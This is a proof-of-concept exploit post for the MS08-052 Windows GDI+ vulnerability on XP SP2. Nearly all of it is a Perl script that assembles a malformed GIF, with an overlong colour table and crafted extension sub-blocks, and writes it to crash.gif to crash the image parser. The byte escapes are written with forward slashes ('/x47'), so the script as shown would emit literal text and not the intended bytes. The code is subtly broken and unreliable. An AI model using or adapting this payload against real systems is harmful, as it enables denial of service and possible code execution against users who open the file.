MS Windows GDI+ Proof of Concept (MS08-052) #2

 ------------------------------------------------------------------------------------------------------------
Operating System: XP SP2
Gdiplus.dll Version: 5.1.3102.2180

Credit:

John Smith,
Evil Fingers

GIF Template Reference: http://www.sweetscape.com/010editor/templates/files/GIFTemplate.bt

PoC Link: http://www.evilfingers.com/patchTuesday/MS08_052_GDI+_Vulnerability_ver2.txt

http://www.evilfingers.com/patchTuesday/PoC.php
============================================================================================================

#!/usr/bin/perl
#
use strict;

my $gif =

"/x47/x49/x46/x38/x39/x61". # GIF header
"/x65/x00/x65/x00/xF7/x0B/x0B". # Logical Screen Descriptor
# COLOR Stream
"/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33".
"/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33".
"/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33".
"/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33".
"/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33".
"/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33".
"/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33".
"/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33".
"/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33".
"/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33".
"/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33".
"/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33".
"/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33".
"/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33".
"/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33".
"/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33".
"/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33".
"/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33".
"/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33".
"/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33".
"/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33".
"/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33".
"/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33".
"/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33".
"/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33".
"/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33".
"/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33".
"/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33".
"/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33".
"/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33".
"/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33".
"/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33".
"/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33".
"/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33".
"/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33".
"/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33".
"/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33".
"/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33".
"/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33".
"/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33".
"/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33".
"/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33".
"/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33".
"/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33".
"/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33".
"/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33".
"/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33".
"/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33/x33".
"/x21". ## Extension Introducer 0x21
"/x2C". ## Label 0x2C
# Data Sub-blocks (1)  Size: 21+1
#0
"/x21/xEC/x21/xEC/x21/xEC/x21/xEC/x21/xEC/x21/xEC/x21/xEC/x21/xEC".
"/x21/xEC/x21/xEC/x21/xEC/x21/xEC/x21/xEC/x21/xEC/x21/xEC/x21/xEC".
"/x21/xEC".
#1
"/x21/xEC/x21/xEC/x21/xEC/x21/xEC/x21/xEC/x21/xEC/x21/xEC/x21/xEC".
"/x21/xEC/x21/xEC/x21/xEC/x21/xEC/x21/xEC/x21/xEC/x21/x2C/x21/xEC".
"/x21/xEC".
#2
"/x21/xEC/x21/xEC/x21/xEC/x21/xEC/x21/xEC/x21/xEC/x21/xEC/x21/xEC".
"/x21/xEC/x21/xEC/x21/xEC/x21/xEC/x21/xEC/x21/xEC/x21/xEC/x21/xEC".
"/x21/xEC".
#3
"/x21/xEC/x21/xEC/x21/xEC/x21/xEC/x21/xEC/x21/xEC/x21/xEC/x21/xEC".
"/x21/xEC/x21/xEC/x21/xEC/x21/xEC/x21/xEC/x21/xEC/x21/xEC/x21/xEC".
"/x21/xEC".
#4
"/x21/xEC/x21/xEC/x21/xEC/x21/xEC/x21/xEC/x21/xEC/x21/xEC/x21/xEC".
"/x21/xEC/x21/xEC/x21/xEC/x21/x2C/x21/xEC/x21/xEC/x21/xEC/x21/xEC".
"/x21/xEC".
#5
"/x21/xEC/x21/xEC/x21/xEC/x21/xEC/x21/xEC/x21/xEC/x21/xEC/x21/xEC".
"/x21/xEC/x21/xEC/x21/xEC/x21/xEC/x21/xEC/x21/xEC/x21/xEC/x21/xEC".
"/x21/xEC".
#6
"/x21/xEC/x21/xEC/x21/xEC/x21/xEC/x21/xEC/x21/xEC/x21/xEC/x21/xEC".
"/x21/xEC/x21/xEC/x21/xEC/x21/xEC/x21/xEC/x21/xEC/x21/xEC/x21/xEC".
"/x21/xEC".
#7
"/x21/xEC/x21/xEC/x21/xEC/x21/xEC/x21/xEC/x21/xEC/x21/xEC/x21/xEC".
"/x21/x2C/x21/xEC/x21/xEC/x21/xEC/x21/xEC/x21/xEC/x21/xEC/x21/xEC".
"/x21/xEC".
#8
"/x21/xEC/x21/xEC/x21/xEC/x21/xEC/x21/xEC/x21/xEC/x21/xEC/x21/xEC".
"/x21/xEC/x21/xEC/x21/xEC/x21/xEC/x21/xEC/x21/xEC/x21/xEC/x21/xEC".
"/x21/xEC".
#9
"/x21/xEC/x21/xEC/x21/xEC/x21/xEC/x21/xEC/x21/xEC/x21/xEC/x21/xEC".
"/x21/xEC/x21/xEC/x21/xEC/x21/xEC/x21/xEC/x21/xEC/x21/xEC/x21/xEC".
"/x21/xEC".
#10
"/x21/xEC/x21/xEC/x21/xEC/x21/xEC/x21/xEC/x21/x2C/x21/xEC/x21/xEC".
"/x21/xEC/x21/xEC/x21/xEC/x21/xEC/x21/xEC/x21/xEC/x21/xEC/x21/xEC".
"/x21/xEC".
#11
"/x21/xEC/x21/xEC/x21/xEC/x21/xEC/x21/xEC/x21/xEC/x21/xEC/x21/xEC".
"/x21/xEC/x21/xEC/x21/xEC/x21/xEC/x21/xEC/x2C/x00/x00/x00/x00/x0E".
"/x01/x5A".
"/x00". ## Terminator
"/x21". ## Extension Introducer 0x21
"/x2C". ## Label 0x2C
# Data Sub-blocks (2) Size: EC+1
#0
"/xEC/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61".
"/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61".
"/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61".
"/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61".
"/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61".
"/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61".
"/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61".
"/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61".
"/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61".
"/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61".
"/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61".
"/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61".
"/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61".
"/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61".
"/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62".
#1
"/xEC/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61".
"/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61".
"/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61".
"/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61".
"/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61".
"/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61".
"/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61".
"/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61".
"/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61".
"/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61".
"/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61".
"/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61".
"/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61".
"/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61".
"/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62".
#2
"/xEC/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61".
"/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61".
"/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61".
"/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61".
"/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61".
"/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61".
"/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61".
"/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61".
"/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61".
"/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61".
"/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61".
"/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61".
"/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61".
"/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61".
"/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62".
#3
"/xEC/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61".
"/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61".
"/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61".
"/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61".
"/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61".
"/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61".
"/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61".
"/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61".
"/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61".
"/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61".
"/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61".
"/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61".
"/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61".
"/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61".
"/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62".
#4
"/xEC/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61".
"/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61".
"/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61".
"/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61".
"/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61".
"/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61".
"/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61".
"/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61".
"/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61".
"/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61".
"/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61".
"/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61".
"/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61".
"/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61".
"/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62/x61/x62".
"/x00". # Terminator
"/x3B". # Trailer

open(out, "> crash.gif");
binmode(out);
print (out $gif);
close(out);
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值